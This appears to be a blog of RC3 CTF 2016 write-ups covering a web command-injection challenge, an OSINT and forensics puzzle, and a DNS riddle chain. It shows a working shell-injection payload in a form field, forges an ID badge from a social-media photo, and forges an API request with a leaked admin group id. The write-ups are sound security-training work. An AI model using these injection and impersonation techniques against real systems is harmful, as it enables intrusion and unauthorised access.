Nov 20, 2016 - RC3 CTF : Bork Bork

Author: dade

Publish Date: 2016-11-20

Category: Web

Points: 300


UPDATE: We have made changes to this challenge to make it (somewhat) stable. If what you were trying before is not working, it's because it was causing a problem for us on the back end. I assure you that what you were doing was not the easiest solution, anyway.

We all love doggos and puppers. Have some more of one of our favorite puppers, Gabe. Bork.



If you post to /bork and try to grab a random file, say, flag.txt, it prints out an error

cat: borks/flag.txt: No such file or directory?autoplay=1&loop=1

This means it’s taking our input and passing it to “cat”. Can we abuse this to disclose other files? What about chain commands for command injection? It looks like when we try to do something not allowed we get presented with an error page

TFW You Can't Pet Gabe

After some more testing, I found that some commands could be injected while others were being filtered. Note: In an effort to increase stability, eventually even $ methods of injection were filtered out, making my solution incorrect. Doesn’t matter, had flag.

However, I was able to succeed by passing the following:

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

bork=$(grep -r '.' -e "RC3")

Which returned:

HTTP/1.1 200 OK
Server: nginx/1.10.0 (Ubuntu)
Date: Sat, 19 Nov 2016 22:20:50 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Content-Length: 416

<!DOCTYPE html>
        <link rel="stylesheet" type="text/css" href="/static/bork.css">
        <link rel="shortcut icon" href="/static/favicon.ico">
        <h1>HERE'S YOUR BORK!!!!</h1>
        <iframe width="854" height="480" src="cat: &#39;borks/./bork.txt:RC3-2016-L057d0g3&#39;: No such file or directory?autoplay=1&loop=1" frameborder="0"></iframe>

That looks like a flag to me!



Nov 20, 2016 - RC3 CTF : Find Phil

Author: dade

Publish Date: 2016-11-20

Category: Misc

Points: 500


During the great battle of IRSEC 2015 we lost a great man, Phil. The blue teams fought effortlessly to keep him save but sadly they did not stand a chance against their attackers. Since losing him in that great battle our team has been searching tirelessly for Phil. Recently, we received credible intelligence that this team recruits new members by putting them through a series of challenges. The challenge starts with this file. It is your job to join their organization, and find Phil. Bring him home safe.

Download Link:


b0tchsec was the second player to solve this challenge. Big thanks to whatbatman and captainevilwaffl for the awesome challenge.


a quick strings file.png shows us there are other filenames in our image. Let’s run unzip file.png and see what we’ve got.


The series of smaller png files appear to be pieces of a puzzle that need to be put together. This can be accomplished in gimp by loading all the images as layers.

The image, once put back together from the smaller images, takes us to

You have proved yourself to be at least some what formidable. Congratulations. Now that you have proven your technical skills, you need to prove your   loyalty.
There is a new company that is creating a rather large buzz, EnergyCorp. They are run by the former creator and CEO of Xanadu, LordReverend Kane. 
We hear that there is a secret to their power, hidden behind their protected website. We need you to gain access to their secrets, and return them to us.
The website can be found here:
Don't get caught.


The homepage tells us to use to create our own ID with a format we learned during orientation. Too bad we didn’t go to orientation. But its good to know that we can create an ID.

Looking around on the company site, we see the facebook page, and it has a post about their newest employee Jennifer Jones. If we check out Jennifer’s facebook page, we see she’s friends with LordReverend Kane, but LordReverend Kane keeps his shit on lock.

If we look at the EnergyCorp posts page, we see that a guy named Ben Franklin, with a convenient stock photo, started working at EnergyCorp just before the challenge started. Let’s inspect him too.

To login to the site we need to upload a photo of our ID. I’m sure if we look hard enough, we can find that ID on one of the facebook profiles. OSINT is a real threat. If we take a look around Jennifer’s facebook again, sure enough she uploaded a photo of her badge. Let’s use that and see if we can login.

We get an error message telling us User already logged in. Looks like it’s time to bust out some photoshop.

Given the badge format, I most expect the backend to be scanning the QR code and ignoring the rest of it. Let’s try to generate a new QR vcard code using LordReverend Kane’s information, after all, he’s the CEO.

No such luck, he’s also logged in. Thankfully we also noticed that Ben Franklin is a new employee. Since he’s so new, maybe he hasn’t logged into the system yet. Let’s use his facebook page to generate a QR Code. Let’s also rip his image and include it in the badge.

Ben Franklin
Chief Imagination Engineer
Energy Corp
(I used my personal email in the event that EnergyCorp website looks. Used fake phone number)

Once we’ve generated the QR code, line it up to fit snugly over the existing QR code on the badge, save that as a new image and try to upload it.

Success, we’ve made it to the “Welcome” page for employees.


Nothing too interesting in the vault, just a cute puppy and a cute turtle. Let’s take a look in fiddler and see what’s happening.

Content-Length: MVZNSjJHZ04wcHRLSklHdjZNMGMyT2hkdkFSakFpRWltcVR6YkdINGlMSk90ekh3c2pZL0lJemQwUUlEQVFBQg==
Content-Security-Policy: TUlJQ1hBSUJBQUtCZ1FDWHRVUXR5WUdHdldidlBsUlRRUWEwRmNIWkY3QUNTOVhqYWtscDd4dWtsMkcvL0luLw==
Server: NkVEcFYxamk1Yk5oaXF0SmdYUUk0UGljZ3huQVdpTjFBVVhhOFVSc0QvNlVhQ3RhbUsyWE9pM1VsN3BaMS9oYQ==
Pragma: aDJramlpcHpJWEQ2M3JFNUhiZXQwK2VORkdzbjBIdTFtU1IyQ3hHcjFCQ2pWVmtDUVFEdmVVMGxsdHVqaVBDMw==
Cache-Control: TVpwb1BCSGZBa0VBb2kxd1NSYU1NMFM5ZWhCZ1dsRm85ZUxjaWY1a21VRmtRYnBQL1dBVzF4SWtYVW5nbTZibw==
Warning: VGpVenRZN3VhckpoVEFYeGtNZERwY0FaTlo5YXNxdm1Ud0pCQUpmYmpTOTBEYzRUYmNxckNKbnRkN1pyRGw4eQ==
Downlink: NDg5bS8zNXBjV0pBc0lhcGZ3ZXZ1M0R6RDZOaDdKKys0QUpibUNibXE4MGEvUldHdU15d0tlRkZqbk1DUUNOeA==
Width: ZHVqd1U3MSszVU9WM3ltYlhnc0NRRzZ6Y3k1bGtlWEYrcnhaNWFSd3d4cGlBSnAvVEFsVmo4djZIWmE4SXovTQ==
ETag: cEhtM0k2RkFEOXhjWmhTMlg4RVRHdHh1cklxWVVBWndxOHVWRWE4T2g3QQ==
Age: YWNjZXB0LCBjb250ZW50LXNlY3VyaXR5LXBvbGljeSwgc2VydmVyLCBjb250ZW50LWxlbmd0aCwgY29udGVudC10eXBlLCBkYXRlLCBwcmFnbWEsIGV4cGlyZXMsIGNhY2hlLWNvbnRyb2wsIHdhcm5pbmcsIGRvd25saW5rLCBzYXZlLWRhdGEsIHdpZHRoLCBldGFnLCBrZWVwLWFsaXZl
Integrity Checksum: M9hxHUdd8mUdxaz1nPSy6Tol7h8OYcS2SBficdhrvObfmi1DSkXOmi8/aGs5POtvODpi+8FcOeqmUsqOWOcGTl5fy3zJtSIfr9CkywaYWtVaoJb+8R3t+G32dgTEHpgI4y69kJabOruAwbldqHmCSRhSLr0mTFGxmd+HwBNgj3s=

This looks like base64 garbage. Let’s decode it all.

accept, content-security-policy, server, content-length, content-type, date, pragma, expires, cache-control, warning, downlink, save-data, width, etag, keep-alive

The bit after —–END RSA PRIVATE KEY—– looks like a specific order. Let’s rearrange the key to match.


I’m not great at RSA stuff so I did some googling and found this really useful stackexchange post. To get my input looking like the post, I stripped the new lines and header/footer and saved it as key-stripped.txt. I also saved the integrity line to integrity.txt since I thought I might need it. What else are you going to do with an RSA key but decrypt something.

$ base64 -d < key-stripped.txt | openssl rsa -inform DER > out.key
$ openssl asn1parse < out.key
$ base64 -d integrity.txt >integrity.enc
$ openssl rsautl -decrypt -inkey out.key < integrity.enc > integrity.dec
$ cat integrity.dec


Now we’re able to visit the real vault located here.

It links us to a tar file called phils_magic.tar.

Inside of phils_magic.tar we have an apk and a notes file. The notes read:

They've captured me and made me use my talents for their own gain. If you are to find where I am you must use this android application and talk to the admin. He will know how to find me. As a precaution to Kane finding where I have gone, I have taken steps to reduce the chance of Kane being able to use talk to the admin through this app. My hopes are if you have gotten this far in your search for me, you will be able to break the apps security and reach out to the admin.
Once you are able to initate contact with the admin, use the phrase 'security through obscurity' in a sentence. This will let him know I sent you. The admin does not use many words, but may be able to help you find me.

My credentials to log into the application are: imnotphil:canttouchthis

I’ve installed the app on an android emulator that comes with the android sdk. When I try to initiate a discussion with admin, it tells me NOT ADMIN GROUP ID. GO AWAY.

The ChatActivity shows Group ID: 125212531244112

Let’s also fire up the Android Device Monitor, another useful part of the SDK. In the monitor log we see some giant strings coming from our application. Let’s save these as b_private_key.txt and b_user_group.txt

b_user_group just appears to have a bunch of repeated text. b_private key is a base64 representation of the private key, as we could have guessed.

Let’s dig deeper into the source here. I’ll use d2j-dex2jar.bat to convert the chatsalot apk to a jar file, and then use jd-gui to save the sources of the jar file.

Looking through the java, we see that we’re sending json objects to a login endpoint, when I recreate this in fiddler I get a 500 internal server error, but debugger is turned on. Sweet now I know what login looks like.

@app.route('/api/login', methods=['POST'])
def login():    
	username = request.json.get('username')
	password = request.json.get('password')
	if username is None or password is None:
		abort(400) # missing arguments    
	if User.query.filter_by(username=username).first() is None:
	    abort(400) # user doesn't exist

If we also check out the endpoint for looking for admin, we see this function in the debugger output. `

@app.route('/api/chatadmin', methods=['POST'])
def chatAdmin():    
	message = request.json.get('message')    
	groupid = request.json.get('groupid')    
	g = groupid.split(' ')[:3]    
	if str(groupid) != "106610671042110":        
		print "____",groupid, "____"        
		return (jsonify({'resp_msg':'YOU ARE NOT AN ADMIN. GO AWAY'}), 401)

Success!! So now we know the admin group id.

Using what we’ve seen from the source code of the app, we can recreate a call to the /api/chatadmin api endpoint and forge our request to include the group id we’ve just learned.

Content-Type: application/json
Content-Length: 77

  "message": "security through obscurity",
  "groupid": "106610671042110"
HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 238
Server: Werkzeug/0.11.11 Python/2.7.12
Date: Sun, 20 Nov 2016 21:33:00 GMT

  "resp_msg": "Ah, you must be searching for phil. While I can't tell you where he is, I can give you some data from our last conversation that may help you find him."


Download the zip file at Unpacking the zip, we have a bunch of images. One is noticably larger than the others, though it’s also a higher resolution, so no real surprise.

It also happens to have a base64 encoded string at the end of the file, which translates to fun4dv3n7ur35w17hph1l

It was soooo long

(In the last 30 minutes of the competition, after our team nearly spent 15 man hours on this challenge)

The 7-Zip manager UI showed a message that said

Warnings: There are some data after the end of the payload data
Physical Size: 2,262,768
Tail Size: 96

I then copied the last 96 bytes of the zip file to a separate file, extra_data.bin

$ tail -c 96 Copy\ of\ > extra_data.bin

After copying the bytes to the file, I ran file to see if I could understand the file format:

$ file extra_data.bin
extra_data.bin: GPG symmetrically encrypted data (AES cipher)

Then I ran:

$ gpg --output test --decrypt extra_data.bin
gpg: AES encrypted data
gpg: gpg-agent is not available in this session
gpg: encrypted with 1 passphrase

Use the string we found earlier as the passphrase: fun4dv3n7ur35w17hph1l



Nov 19, 2016 - RC3 CTF : Bridge of Cyber

Author: Adam

Publish Date: 2016-11-19

Category: Misc Points: 200 Description:

Welcome to the “Bridge of Cyber”! It’s the same concept as the “Bridge of Death” in Holy Grail. Our DNS servers aren’t very good at their job because they ask more questions then they answer. Let’s see if you can get the flag from our DNS.



I started by using the Dig tool to see what hints were available for this domain.

~$ dig ANY
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

; EDNS: version: 0, flags:; udp: 4096
;          IN      ANY

;; AUTHORITY SECTION:           758     IN      SOA 1 7200 900 1209600 86400

Looking at the results, the domain is hosted by the AWS Route 53 service which helps narrow down some of the options we can use. AXFR would have enabled us to download a copy of the entire domain set, but Route 53 does not current support it. In some deployments of DNSSEC, NSEC records are exposed which would enable subdomain enumeration exposing a list of subdomains for the entire domain, but again Route 53 does not support DNSSEC so we can’t take advantage of those techniques.

At this point I got stuck because there did not appear to be any records that we could use to continue the challenge. Luckily they updated challenge description with a name server hint: Nameserver:

Armed with new information, I switched to directly querying that name server for record information which proved much more fruitful:

~$ dig +nocomments ANY
; <<>> DiG 9.9.5-3ubuntu0.10-Ubuntu <<>> +nocomments ANY
; (2 servers found)
;; global options: +cmd
;          IN      ANY   172800  IN      NS   172800  IN      NS   172800  IN      NS   172800  IN      NS   900     IN      SOA 1 7200 900 1209600 86400   300     IN      TXT     "What is the air-speed velocity of an unladen swallow"
;; Query time: 5 msec

Looking at the result set, we have NS records, a SOA, and a TXT. The NS records all pointed to Route 53, so I ignored those for now since Route 53. The SOA record also gave no more information since it was the default SOA record that Route 53 vends. The TXT record looked interesting since it had a Monty Python quote in it. Thanks to a teammate, I knew that the next line in the quote was related to the African or European swallow.

~$ dig +short ANY
"The roundest knight at king arthurs table was sir cumference. He acquired his size from too much __"

The next clue is a joke. Googling for the entire puzzle tells us that the punchline is “too much pi.”

~$ dig +short ANY
"What is it that no man ever yet did see, which never was, but always is to be?"

The next hint is another puzzle, of which the answer is ‘tomorrow’

~$ dig +short ANY
"My favorite things in life don't cost any money. It's really clear that the most precious resource we all have is ___"

This one is a quote from Steve Jobs and the answer is ‘time’

~$ dig +short ANY

And Voilà, we have the flag.